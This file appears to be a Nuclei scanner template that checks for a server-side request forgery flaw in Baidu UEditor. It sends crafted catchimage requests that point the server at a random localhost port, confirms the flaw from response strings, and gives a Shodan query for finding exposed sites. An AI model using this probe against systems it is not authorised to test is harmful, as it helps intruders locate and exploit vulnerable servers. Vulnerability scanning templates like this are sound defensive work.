ueditor-ssrf: UEditor - Server Side Request Forgery

id: ueditor-ssrf

info:
  name: UEditor - Server Side Request Forgery
  author: pwnhxl
  severity: medium
  description: UEditor contains an Server Side Request Forgery vulnerability.
  reference:
    - https://xz.aliyun.com/t/4154
    - https://www.seebug.org/vuldb/ssvid-97311
  classification:
    cpe: cpe:2.3:a:baidu:ueditor:*:*:*:*:*:*:*:*
    cwe-id: CWE-99,CWE-918
  metadata:
    verified: true
    max-request: 2
    vendor: baidu
    product: ueditor
    shodan-query: html:"UEditor"
  tags: ueditor,ssrf,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/ueditor/php/controller.php?action=catchimage&source[]=http://127.0.0.1:{{rand_text_numeric(6)}}/?1.png"
      - "{{BaseURL}}/ueditor/jsp/controller.jsp?action=catchimage&source[]=http://127.0.0.1:{{rand_text_numeric(6)}}/?1.png"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '\u94fe\u63a5\u4e0d\u53ef\u7528'
          - '"original":'
          - '"SUCCESS"'
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100e550f2516fc479e09fd3367e8906ffc7ea4363bc24aa6dfac26fea551f8c1ec80221008804ee22af831367a156d978cd3254371e41ec2938bc02f2d85992b48a454fba:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.